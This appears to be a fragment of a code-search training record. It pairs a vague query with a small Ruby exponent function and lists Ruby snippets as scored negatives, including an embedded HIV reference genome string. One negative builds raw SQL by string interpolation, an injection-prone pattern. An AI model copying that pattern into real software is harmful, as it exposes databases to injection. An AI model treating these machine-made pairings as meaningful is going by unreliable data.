i|\n parsed_response[:results][i] = item.merge(timePeriod: DateTime.parse(item[:timePeriod]).to_s)\n end\n response = { results: (response[:results] || []) + parsed_response[:results], next: parsed_response[:next], code: gnip_call.response.code.to_i, calls: (response[:calls] || 0) + 1 }\n end\n rescue StandardError => e\n response = { results: [], next: nil, error: e.message, code: 500, calls: (response[:calls] || 0) + call_done }\n end\n # If the next cursor is not present we fetched all the data\n # It happens that twitter returns the same cursor, in that case we stop\n return response if !parsed_response[:next].to_s.present? || (parsed_response[:next].to_s.present? && parsed_response[:next] == search_options[:next])\n\n total_by_time_period(query: search_options[:query],\n date_from: search_options[:fromDate],\n date_to: search_options[:toDate],\n bucket: search_options[:bucket],\n next_cursor: parsed_response[:next],\n response: response)\n end",
"def system_holiday_lists_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: HolidayListsApi.system_holiday_lists_count_get ...\"\n end\n # resource path\n local_var_path = \"/system/holidayLists/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: HolidayListsApi#system_holiday_lists_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getServices(org)\n if settings.development?\n arr = [\"Alpha\", \"Bravo\", \"Charlie\", \"Delta\", \"Echo\", \"Foxtrot\", \"Golf\", \"Hotel\", \"India\"]\n org[:categories] = [arr[rand(0..2)], arr[rand(3..5)], arr[rand(6..8)]].sort\n else # Fetch categories for production only (fewer API calls)\n find_by_id = Ohanakapa.location(org.id)\n if find_by_id.services[0] != nil\n org[:categories] = find_by_id.services[0].categories.map do |x|\n x.name\n end\n org[:categories].sort!\n else\n org[:categories] = []\n end\n end\n end",
"def service_knowledge_base_articles_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: KnowledgeBaseArticlesApi.service_knowledge_base_articles_count_get ...\"\n end\n # resource path\n local_var_path = \"/service/knowledgeBaseArticles/count\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KnowledgeBaseArticlesApi#service_knowledge_base_articles_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def search\n if params[:geocode].present?\n lat = params[:geocode][:latitude]\n lng = params[:geocode][:longitude]\n radius = params[:radius]? params[:radius] : @_default_search_distanse\n skill_category = params[:skill_category]\n if skill_category.present?\n scope1 = Service.where(skill_category_id: skill_category).pluck(:supplier_id)\n scope2 = Supplier.near([lat, lng], radius, {order: \"\", units: :km}).pluck(:id)\n @suppliers = Supplier.where(isSupplier: true).find(scope1 & scope2)\n else\n @suppliers = Supplier.near([lat, lng], radius, units: :km).where(isSupplier: true)\n end\n elsif params[:skill_category].present?\n @suppliers = Supplier.find(Service.where(skill_category_id: params[:skill_category], isSupplier: true).pluck(:supplier_id));\n else\n @suppliers = Supplier.where(isSupplier: true)\n end\n render :action => 'search_result.json'\n end",
"def company_management_it_solutions_count_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ManagementItSolutionsApi.company_management_it_solutions_count_get ...\"\n end\n # resource path\n local_var_path = \"/company/managementItSolutions/count\"\n\n # query parameters\n query_params = {}\n query_params[:'conditions'] = opts[:'conditions'] if !opts[:'conditions'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Count')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementItSolutionsApi#company_management_it_solutions_count_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def featured_in_category_in_bounds(swy, swx, ney, nex, category_id, to_return = 10, start_from = 0)\n results_from_search many.popular_within_bounds_in_category(swy, swx, ney, nex, category_id, to_return, start_from)\n end",
"def update_category_counter\r\n end",
"def get_total_word_count_for_category(category)\n ret = @redis.get sum_key(category)\n # create :total key for this category if it doesn't already exist\n if !ret\n words_with_count_for_category = get_words_with_count_for_category category\n total_word_count_sum_for_category = words_with_count_for_category.values.reduce(0){|sum, count| sum += count.to_i}\n @redis.set sum_key(category), total_word_count_sum_for_category\n end\n ret\n end",
"def projects_countries(site, category_id = nil)\n if category_id.present?\n if site.navigate_by_cluster?\n category_join = \"inner join clusters_projects as cp on cp.project_id = p.id and cp.cluster_id = #{category_id}\"\n else\n category_join = \"inner join projects_sectors as pse on pse.project_id = p.id and pse.sector_id = #{category_id}\"\n end\n end\n\n Country.find_by_sql(\n<<-SQL\nselect c.id,c.name,count(ps.*) as count from countries as c\n inner join countries_projects as pr on c.id=pr.country_id\n inner join projects as p on p.id=pr.project_id and (p.end_date is null OR p.end_date > now())\n inner join projects_sites as ps on p.id=ps.project_id and ps.site_id=#{site.id}\n #{category_join}\n where p.primary_organization_id=#{self.id}\n group by c.id, c.name order by count DESC\nSQL\n ).map do |r|\n [r, r.count.to_i]\n end\n end",
"def hit_count_within(duration)\n return hits.where(\"hit_date >= ?\", Time.now.to_date - duration).sum(:count)\n end",
"def count(opts={})\n sq = Tripod::SparqlQuery.new(self.as_query(opts))\n count_sparql = sq.as_count_query_str\n result = Tripod::SparqlClient::Query.select(count_sparql)\n\n if result.length > 0\n result[0][\"tripod_count_var\"][\"value\"].to_i\n else\n return 0\n end\n end"
] | [
"0.65952694",
"0.6069649",
"0.60338855",
"0.55164534",
"0.54931617",
"0.5443185",
"0.52970135",
"0.52757657",
"0.5268755",
"0.52555615",
"0.5233187",
"0.5228233",
"0.5176651",
"0.5163756",
"0.5163756",
"0.5157285",
"0.51448417",
"0.51092696",
"0.51054734",
"0.5104184",
"0.50910497",
"0.5079726",
"0.5079472",
"0.50785583",
"0.50605935",
"0.5048559",
"0.50419927",
"0.5034275",
"0.5020706",
"0.5017251",
"0.50084585",
"0.4997098",
"0.4996621",
"0.49958393",
"0.4972463",
"0.4941004",
"0.4936341",
"0.49326155",
"0.49324158",
"0.49311516",
"0.49214336",
"0.49091923",
"0.49091923",
"0.48972738",
"0.4895307",
"0.48928058",
"0.48848298",
"0.48670503",
"0.48595455",
"0.48580596",
"0.4840907",
"0.48396945",
"0.48388803",
"0.48296297",
"0.4819082",
"0.48144132",
"0.48097995",
"0.48097995",
"0.48076558",
"0.48010048",
"0.47978255",
"0.47974792",
"0.47774404",
"0.4776476",
"0.4772861",
"0.47728503",
"0.4767199",
"0.4762853",
"0.4749949",
"0.4747653",
"0.47381735",
"0.47337818",
"0.47076374",
"0.4706151",
"0.46928164",
"0.46880427",
"0.46847293",
"0.46827435",
"0.46827427",
"0.46803442",
"0.46786913",
"0.46777242",
"0.46732476",
"0.46706223",
"0.46703917",
"0.4670033",
"0.46675608",
"0.46649545",
"0.46629733",
"0.46627405",
"0.46610296",
"0.46582204",
"0.46545988",
"0.46500847",
"0.4649585",
"0.464563",
"0.46434823",
"0.46387032",
"0.46382487",
"0.46333042"
] | 0.77324426 | 0 |
2. Satisfied I figured this one out, Big Time! | def transmogrifier (a, b, c)
((a * b) ** c)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def probers; end",
"def anchored; end",
"def schubert; end",
"def stderrs; end",
"def offences_by; end",
"def rassoc(p0) end",
"def internship_passed; end",
"def terpene; end",
"def leeway; end",
"def leeway; end",
"def berlioz; end",
"def hiss; end",
"def identify; end",
"def malts; end",
"def trd; end",
"def gounod; end",
"def surge; end",
"def villian; end",
"def jack_handey; end",
"def weber; end",
"def who_we_are\r\n end",
"def intensifier; end",
"def herald; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def sld; end",
"def tld; end",
"def tld; end",
"def blg; end",
"def schumann; end",
"def formation; end",
"def big_bad; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def refs_at; end",
"def king_richard_iii; end",
"def starting_position; end",
"def fingerprint; end",
"def suivre; end",
"def silly_adjective; end",
"def offences_by=(_arg0); end",
"def mitch_hedberg; end",
"def NL43_locator(seq=\"\",temp_dir=File.dirname($0))\n hxb2_ref = \"TGGAAGGGCTAATTTGGTCCCAAAAAAGACAAGAGATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGATCAGATATCCACTGACCTTTGGATGGTGCTTCAAGTTAGTACCAGTTGAACCAGAGCAAGTAGAAGAGGCCAAATAAGGAGAGAAGAACAGCTTGTTACACCCTATGAGCCAGCATGGGATGGAGGACCCGGAGGGAGAAGTATTAGTGTGGAAGTTTGACAGCCTCCTAGCATTTCGTCACATGGCCCGAGAGCTGCATCCGGAGTACTACAAAGACTGCTGACATCGAGCTTTCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGTGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTACATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTCAAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCAGTGGCGCCCGAACAGGGACTTGAAAGCGAAAGTAAAGCCAGAGGAGATCTCTCGACGCAGGACTCGGCTTGCTGAAGCGCGCACGGCAAGAGGCGAGGGGCGGCGACTGGTGAGTACGCCAAAAATTTTGACTAGCGGAGGCTAGAAGGAGAGAGATGGGTGCGAGAGCGTCGGTATTAAGCGGGGGAGAATTAGATAAATGGGAAAAAATTCGGTTAAGGCCAGGGGGAAAGAAACAATATAAACTAAAACATATAGTATGGGCAAGCAGGGAGCTAGAACGATTCGCAGTTAATCCTGGCCTTTTAGAGACATCAGAAGGCTGTAGACAAATACTGGGACAGCTACAACCATCCCTTCAGACAGGATCAGAAGAACTTAGATCATTATATAATACAATAGCAGTCCTCTATTGTGTGCATCAAAGGATAGATGTAAAAGACACCAAGGAAGCCTTAGATAAGATAGAGGAAGAGCAAAACAAAAGTAAGAAAAAGGCACAGCAAGCAGCAGCTGACACAGGAAACAACAGCCAGGTCAGCCAAAATTACCCTATAGTGCAGAACCTCCAGGGGCAAATGGTACATCAGGCCATATCACCTAGAACTTTAAATGCATGGGTAAAAGTAGTAGAAGAGAAGGCTTTCAGCCCAGAAGTAATACCCATGTTTTCAGCATTATCAGAAGGAGCCACCCCACAAGATTTAAATACCATGCTAAACACAGTGGGGGGACATCAAGCAGCCATGCAAATGTTAAAAGAGACCATCAATGAGGAAGCTGCAGAATGGGATAGATTGCATCCAGTGCATGCAGGGCCTATTGCACCAGGCCAGATGAGAGAACCAAGGGGAAGTGACATAGCAGGAACTACTAGTACCCTTCAGGAACAAATAGGATGGATGACACATAATCCACCTATCCCAGTAGGAGAAATCTATAAAAGATGGATAATCCTGGGATTAAATAAAATAGTAAGAATGTATAGCCCTACCAGCATTCTGGACATAAGACAAGGACCAAAGGAACCCTTTAGAGACTATGTAGACCGATTCTATAAAACTCTAAGAGCCGAGCAAGCTTCACAAGAGGTAAAAAATTGGATGACAGAAACCTTGTTGGTCCAAAATGCGAACCCAGATTGTAAGACTATTTTAAAAGCATTGGGACCAGGAGCGACACTAGAAGAAATGATGACAGCATGTCAGGGAGTGGGGGGACCCGGCCATAAAGCAAGAGTTTTGGCTGAAGCAATGAGCCAAGTAACAAATCCAGCTACCATAATGATACAGAAAGGCAATTTTAGGAACCAAAGAAAGACTGTTAAGTGTTTCAATTGTGGCAAAGAAGGGCACATAGCCAAAAATTGCAGGGCCCCTAGGAAAAAGGGCTGTTGGAAATGTGGAAAGGAAGGACACCAAATGAAAGATTGTACTGAGAGACAGGCTAATTTTTTAGGGAAGATCTGGCCTTCCCACAAGGGAAGGCCAGGGAATTTTCTTCAGAGCAGACCAGAGCCAACAGCCCCACCAGAAGAGAGCTTCAGGTTTGGGGAAGAGACAACAACTCCCTCTCAGAAGCAGGAGCCGATAGACAAGGAACTGTATCCTTTAGCTTCCCTCAGATCACTCTTTGGCAGCGACCCCTCGTCACAATAAAGATAGGGGGGCAATTAAAGGAAGCTCTATTAGATACAGGAGCAGATGATACAGTATTAGAAGAAATGAATTTGCCAGGAAGATGGAAACCAAAAATGATAGGGGGAATTGGAGGTTTTATCAAAGTAAGACAGTATGATCAGATACTCATAGAAATCTGCGGACATAAAGCTATAGGTACAGTATTAGTAGGACCTACACCTGTCAACATAATTGGAAGAAATCTGTTGACTCAGATTGGCTGCACTTTAAATTTTCCCATTAGTCCTATTGAGACTGTACCAGTAAAATTAAAGCCAGGAATGGATGGCCCAAAAGTTAAACAATGGCCATTGACAGAAGAAAAAATAAAAGCATTAGTAGAAATTTGTACAGAAATGGAAAAGGAAGGAAAAATTTCAAAAATTGGGCCTGAAAATCCATACAATACTCCAGTATTTGCCATAAAGAAAAAAGACAGTACTAAATGGAGAAAATTAGTAGATTTCAGAGAACTTAATAAGAGAACTCAAGATTTCTGGGAAGTTCAATTAGGAATACCACATCCTGCAGGGTTAAAACAGAAAAAATCAGTAACAGTACTGGATGTGGGCGATGCATATTTTTCAGTTCCCTTAGATAAAGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCACAGGGATGGAAAGGATCACCAGCAATATTCCAGTGTAGCATGACAAAAATCTTAGAGCCTTTTAGAAAACAAAATCCAGACATAGTCATCTATCAATACATGGATGATTTGTATGTAGGATCTGACTTAGAAATAGGGCAGCATAGAACAAAAATAGAGGAACTGAGACAACATCTGTTGAGGTGGGGATTTACCACACCAGACAAAAAACATCAGAAAGAACCTCCATTCCTTTGGATGGGTTATGAACTCCATCCTGATAAATGGACAGTACAGCCTATAGTGCTGCCAGAAAAGGACAGCTGGACTGTCAATGACATACAGAAATTAGTGGGAAAATTGAATTGGGCAAGTCAGATTTATGCAGGGATTAAAGTAAGGCAATTATGTAAACTTCTTAGGGGAACCAAAGCACTAACAGAAGTAGTACCACTAACAGAAGAAGCAGAGCTAGAACTGGCAGAAAACAGGGAGATTCTAAAAGAACCGGTACATGGAGTGTATTATGACCCATCAAAAGACTTAATAGCAGAAATACAGAAGCAGGGGCAAGGCCAATGGACATATCAAATTTATCAAGAGCCATTTAAAAATCTGAAAACAGGAAAATATGCAAGAATGAAGGGTGCCCACACTAATGATGTGAAACAATTAACAGAGGCAGTACAAAAAATAGCCACAGAAAGCATAGTAATATGGGGAAAGACTCCTAAATTTAAATTACCCATACAAAAGGAAACATGGGAAGCATGGTGGACAGAGTATTGGCAAGCCACCTGGATTCCTGAGTGGGAGTTTGTCAATACCCCTCCCTTAGTGAAGTTATGGTACCAGTTAGAGAAAGAACCCATAATAGGAGCAGAAACTTTCTATGTAGATGGGGCAGCCAATAGGGAAACTAAATTAGGAAAAGCAGGATATGTAACTGACAGAGGAAGACAAAAAGTTGTCCCCCTAACGGACACAACAAATCAGAAGACTGAGTTACAAGCAATTCATCTAGCTTTGCAGGATTCGGGATTAGAAGTAAACATAGTGACAGACTCACAATATGCATTGGGAATCATTCAAGCACAACCAGATAAGAGTGAATCAGAGTTAGTCAGTCAAATAATAGAGCAGTTAATAAAAAAGGAAAAAGTCTACCTGGCATGGGTACCAGCACACAAAGGAATTGGAGGAAATGAACAAGTAGATGGGTTGGTCAGTGCTGGAATCAGGAAAGTACTATTTTTAGATGGAATAGATAAGGCCCAAGAAGAACATGAGAAATATCACAGTAATTGGAGAGCAATGGCTAGTGATTTTAACCTACCACCTGTAGTAGCAAAAGAAATAGTAGCCAGCTGTGATAAATGTCAGCTAAAAGGGGAAGCCATGCATGGACAAGTAGACTGTAGCCCAGGAATATGGCAGCTAGATTGTACACATTTAGAAGGAAAAGTTATCTTGGTAGCAGTTCATGTAGCCAGTGGATATATAGAAGCAGAAGTAATTCCAGCAGAGACAGGGCAAGAAACAGCATACTTCCTCTTAAAATTAGCAGGAAGATGGCCAGTAAAAACAGTACATACAGACAATGGCAGCAATTTCACCAGTACTACAGTTAAGGCCGCCTGTTGGTGGGCGGGGATCAAGCAGGAATTTGGCATTCCCTACAATCCCCAAAGTCAAGGAGTAATAGAATCTATGAATAAAGAATTAAAGAAAATTATAGGACAGGTAAGAGATCAGGCTGAACATCTTAAGACAGCAGTACAAATGGCAGTATTCATCCACAATTTTAAAAGAAAAGGGGGGATTGGGGGGTACAGTGCAGGGGAAAGAATAGTAGACATAATAGCAACAGACATACAAACTAAAGAATTACAAAAACAAATTACAAAAATTCAAAATTTTCGGGTTTATTACAGGGACAGCAGAGATCCAGTTTGGAAAGGACCAGCAAAGCTCCTCTGGAAAGGTGAAGGGGCAGTAGTAATACAAGATAATAGTGACATAAAAGTAGTGCCAAGAAGAAAAGCAAAGATCATCAGGGATTATGGAAAACAGATGGCAGGTGATGATTGTGTGGCAAGTAGACAGGATGAGGATTAACACATGGAAAAGATTAGTAAAACACCATATGTATATTTCAAGGAAAGCTAAGGACTGGTTTTATAGACATCACTATGAAAGTACTAATCCAAAAATAAGTTCAGAAGTACACATCCCACTAGGGGATGCTAAATTAGTAATAACAACATATTGGGGTCTGCATACAGGAGAAAGAGACTGGCATTTGGGTCAGGGAGTCTCCATAGAATGGAGGAAAAAGAGATATAGCACACAAGTAGACCCTGACCTAGCAGACCAACTAATTCATCTGCACTATTTTGATTGTTTTTCAGAATCTGCTATAAGAAATACCATATTAGGACGTATAGTTAGTCCTAGGTGTGAATATCAAGCAGGACATAACAAGGTAGGATCTCTACAGTACTTGGCACTAGCAGCATTAATAAAACCAAAACAGATAAAGCCACCTTTGCCTAGTGTTAGGAAACTGACAGAGGACAGATGGAACAAGCCCCAGAAGACCAAGGGCCACAGAGGGAGCCATACAATGAATGGACACTAGAGCTTTTAGAGGAACTTAAGAGTGAAGCTGTTAGACATTTTCCTAGGATATGGCTCCATAACTTAGGACAACATATCTATGAAACTTACGGGGATACTTGGGCAGGAGTGGAAGCCATAATAAGAATTCTGCAACAACTGCTGTTTATCCATTTCAGAATTGGGTGTCGACATAGCAGAATAGGCGTTACTCGACAGAGGAGAGCAAGAAATGGAGCCAGTAGATCCTAGACTAGAGCCCTGGAAGCATCCAGGAAGTCAGCCTAAAACTGCTTGTACCAATTGCTATTGTAAAAAGTGTTGCTTTCATTGCCAAGTTTGTTTCATGACAAAAGCCTTAGGCATCTCCTATGGCAGGAAGAAGCGGAGACAGCGACGAAGAGCTCATCAGAACAGTCAGACTCATCAAGCTTCTCTATCAAAGCAGTAAGTAGTACATGTAATGCAACCTATAATAGTAGCAATAGTAGCATTAGTAGTAGCAATAATAATAGCAATAGTTGTGTGGTCCATAGTAATCATAGAATATAGGAAAATATTAAGACAAAGAAAAATAGACAGGTTAATTGATAGACTAATAGAAAGAGCAGAAGACAGTGGCAATGAGAGTGAAGGAGAAGTATCAGCACTTGTGGAGATGGGGGTGGAAATGGGGCACCATGCTCCTTGGGATATTGATGATCTGTAGTGCTACAGAAAAATTGTGGGTCACAGTCTATTATGGGGTACCTGTGTGGAAGGAAGCAACCACCACTCTATTTTGTGCATCAGATGCTAAAGCATATGATACAGAGGTACATAATGTTTGGGCCACACATGCCTGTGTACCCACAGACCCCAACCCACAAGAAGTAGTATTGGTAAATGTGACAGAAAATTTTAACATGTGGAAAAATGACATGGTAGAACAGATGCATGAGGATATAATCAGTTTATGGGATCAAAGCCTAAAGCCATGTGTAAAATTAACCCCACTCTGTGTTAGTTTAAAGTGCACTGATTTGAAGAATGATACTAATACCAATAGTAGTAGCGGGAGAATGATAATGGAGAAAGGAGAGATAAAAAACTGCTCTTTCAATATCAGCACAAGCATAAGAGATAAGGTGCAGAAAGAATATGCATTCTTTTATAAACTTGATATAGTACCAATAGATAATACCAGCTATAGGTTGATAAGTTGTAACACCTCAGTCATTACACAGGCCTGTCCAAAGGTATCCTTTGAGCCAATTCCCATACATTATTGTGCCCCGGCTGGTTTTGCGATTCTAAAATGTAATAATAAGACGTTCAATGGAACAGGACCATGTACAAATGTCAGCACAGTACAATGTACACATGGAATCAGGCCAGTAGTATCAACTCAACTGCTGTTAAATGGCAGTCTAGCAGAAGAAGATGTAGTAATTAGATCTGCCAATTTCACAGACAATGCTAAAACCATAATAGTACAGCTGAACACATCTGTAGAAATTAATTGTACAAGACCCAACAACAATACAAGAAAAAGTATCCGTATCCAGAGGGGACCAGGGAGAGCATTTGTTACAATAGGAAAAATAGGAAATATGAGACAAGCACATTGTAACATTAGTAGAGCAAAATGGAATGCCACTTTAAAACAGATAGCTAGCAAATTAAGAGAACAATTTGGAAATAATAAAACAATAATCTTTAAGCAATCCTCAGGAGGGGACCCAGAAATTGTAACGCACAGTTTTAATTGTGGAGGGGAATTTTTCTACTGTAATTCAACACAACTGTTTAATAGTACTTGGTTTAATAGTACTTGGAGTACTGAAGGGTCAAATAACACTGAAGGAAGTGACACAATCACACTCCCATGCAGAATAAAACAATTTATAAACATGTGGCAGGAAGTAGGAAAAGCAATGTATGCCCCTCCCATCAGTGGACAAATTAGATGTTCATCAAATATTACTGGGCTGCTATTAACAAGAGATGGTGGTAATAACAACAATGGGTCCGAGATCTTCAGACCTGGAGGAGGCGATATGAGGGACAATTGGAGAAGTGAATTATATAAATATAAAGTAGTAAAAATTGAACCATTAGGAGTAGCACCCACCAAGGCAAAGAGAAGAGTGGTGCAGAGAGAAAAAAGAGCAGTGGGAATAGGAGCTTTGTTCCTTGGGTTCTTGGGAGCAGCAGGAAGCACTATGGGCTGCACGTCAATGACGCTGACGGTACAGGCCAGACAATTATTGTCTGATATAGTGCAGCAGCAGAACAATTTGCTGAGGGCTATTGAGGCGCAACAGCATCTGTTGCAACTCACAGTCTGGGGCATCAAACAGCTCCAGGCAAGAATCCTGGCTGTGGAAAGATACCTAAAGGATCAACAGCTCCTGGGGATTTGGGGTTGCTCTGGAAAACTCATTTGCACCACTGCTGTGCCTTGGAATGCTAGTTGGAGTAATAAATCTCTGGAACAGATTTGGAATAACATGACCTGGATGGAGTGGGACAGAGAAATTAACAATTACACAAGCTTAATACACTCCTTAATTGAAGAATCGCAAAACCAGCAAGAAAAGAATGAACAAGAATTATTGGAATTAGATAAATGGGCAAGTTTGTGGAATTGGTTTAACATAACAAATTGGCTGTGGTATATAAAATTATTCATAATGATAGTAGGAGGCTTGGTAGGTTTAAGAATAGTTTTTGCTGTACTTTCTATAGTGAATAGAGTTAGGCAGGGATATTCACCATTATCGTTTCAGACCCACCTCCCAATCCCGAGGGGACCCGACAGGCCCGAAGGAATAGAAGAAGAAGGTGGAGAGAGAGACAGAGACAGATCCATTCGATTAGTGAACGGATCCTTAGCACTTATCTGGGACGATCTGCGGAGCCTGTGCCTCTTCAGCTACCACCGCTTGAGAGACTTACTCTTGATTGTAACGAGGATTGTGGAACTTCTGGGACGCAGGGGGTGGGAAGCCCTCAAATATTGGTGGAATCTCCTACAGTATTGGAGTCAGGAACTAAAGAATAGTGCTGTTAACTTGCTCAATGCCACAGCCATAGCAGTAGCTGAGGGGACAGATAGGGTTATAGAAGTATTACAAGCAGCTTATAGAGCTATTCGCCACATACCTAGAAGAATAAGACAGGGCTTGGAAAGGATTTTGCTATAAGATGGGTGGCAAGTGGTCAAAAAGTAGTGTGATTGGATGGCCTGCTGTAAGGGAAAGAATGAGACGAGCTGAGCCAGCAGCAGATGGGGTGGGAGCAGTATCTCGAGACCTAGAAAAACATGGAGCAATCACAAGTAGCAATACAGCAGCTAACAATGCTGCTTGTGCCTGGCTAGAAGCACAAGAGGAGGAAGAGGTGGGTTTTCCAGTCACACCTCAGGTACCTTTAAGACCAATGACTTACAAGGCAGCTGTAGATCTTAGCCACTTTTTAAAAGAAAAGGGGGGACTGGAAGGGCTAATTCACTCCCAAAGAAGACAAGATATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGGTCAGATATCCACTGACCTTTGGATGGTGCTACAAGCTAGTACCAGTTGAGCCAGATAAGGTAGAAGAGGCCAATAAAGGAGAGAACACCAGCTTGTTACACCCTGTGAGCCTGCATGGAATGGATGACCCTGAGAGAGAAGTGTTAGAGTGGAGGTTTGACAGCCGCCTAGCATTTCATCACGTGGCCCGAGAGCTGCATCCGGAGTACTTCAAGAACTGCTGACATCGAGCTTGCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGCGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTGCATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTTCAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCACCCAGGAGGTAGAGGTTGCAGTGAGCCAAGATCGCGCCACTGCATTCCAGCCTGGGCAAGAAAACAAGACTGTCTAAAATAATAATAATAAGTTAAGGGTATTAAATATATTTATACATGGAGGTCATAAAAATATATATATTTGGGCTGGGCGCAGTGGCTCACACCTGCGCCCGGCCCTTTGGGAGGCCGAGGCAGGTGGATCACCTGAGTTTGGGAGTTCCAGACCAGCCTGACCAACATGGAGAAACCCCTTCTCTGTGTATTTTTAGTAGATTTTATTTTATGTGTATTTTATTCACAGGTATTTCTGGAAAACTGAAACTGTTTTTCCTCTACTCTGATACCACAAGAATCATCAGCACAGAGGAAGACTTCTGTGATCAAATGTGGTGGGAGAGGGAGGTTTTCACCAGCACATGAGCAGTCAGTTCTGCCGCAGACTCGGCGGGTGTCCTTCGGTTCAGTTCCAACACCGCCTGCCTGGAGAGAGGTCAGACCACAGGGTGAGGGCTCAGTCCCCAAGACATAAACACCCAAGACATAAACACCCAACAGGTCCACCCCGCCTGCTGCCCAGGCAGAGCCGATTCACCAAGACGGGAATTAGGATAGAGAAAGAGTAAGTCACACAGAGCCGGCTGTGCGGGAGAACGGAGTTCTATTATGACTCAAATCAGTCTCCCCAAGCATTCGGGGATCAGAGTTTTTAAGGATAACTTAGTGTGTAGGGGGCCAGTGAGTTGGAGATGAAAGCGTAGGGAGTCGAAGGTGTCCTTTTGCGCCGAGTCAGTTCCTGGGTGGGGGCCACAAGATCGGATGAGCCAGTTTATCAATCCGGGGGTGCCAGCTGATCCATGGAGTGCAGGGTCTGCAAAATATCTCAAGCACTGATTGATCTTAGGTTTTACAATAGTGATGTTACCCCAGGAACAATTTGGGGAAGGTCAGAATCTTGTAGCCTGTAGCTGCATGACTCCTAAACCATAATTTCTTTTTTGTTTTTTTTTTTTTATTTTTGAGACAGGGTCTCACTCTGTCACCTAGGCTGGAGTGCAGTGGTGCAATCACAGCTCACTGCAGCCTCAACGTCGTAAGCTCAAGCGATCCTCCCACCTCAGCCTGCCTGGTAGCTGAGACTACAAGCGACGCCCCAGTTAATTTTTGTATTTTTGGTAGAGGCAGCGTTTTGCCGTGTGGCCCTGGCTGGTCTCGAACTCCTGGGCTCAAGTGATCCAGCCTCAGCCTCCCAAAGTGCTGGGACAACCGGGCCCAGTCACTGCACCTGGCCCTAAACCATAATTTCTAATCTTTTGGCTAATTTGTTAGTCCTACAAAGGCAGTCTAGTCCCCAGCAAAAAGGGGGTTTGTTTCGGGAAAGGGCTGTTACTGTCTTTGTTTCAAACTATAAACTAAGTTCCTCCTAAACTTAGTTCGGCCTACACCCAGGAATGAACAAGGAGAGCTTGGAGGTTAGAAGCACGATGGAATTGGTTAGGTCAGATCTCTTTCACTGTCTGAGTTATAATTTTGCAATGGTGGTTCAAAGACTGCCCGCTTCTGACACCAGTCGCTGCATTAATGAATCGGCCAACGCGCGGGGAGAGGCGGTTTGCGTATTGGGCGCTCTTCCGCTTCCTCGCTCACTGACTCGCTGCGCTCGGTCGTTCGGCTGCGGCGAGCGGTATCAGCTCACTCAAAGGCGGTAATACGGTTATCCACAGAATCAGGGGATAACGCAGGAAAGAACATGTGAGCAAAAGGCCAGCAAAAGGCCAGGAACCGTAAAAAGGCCGCGTTGCTGGCGTTTTTCCATAGGCTCCGCCCCCCTGACGAGCAT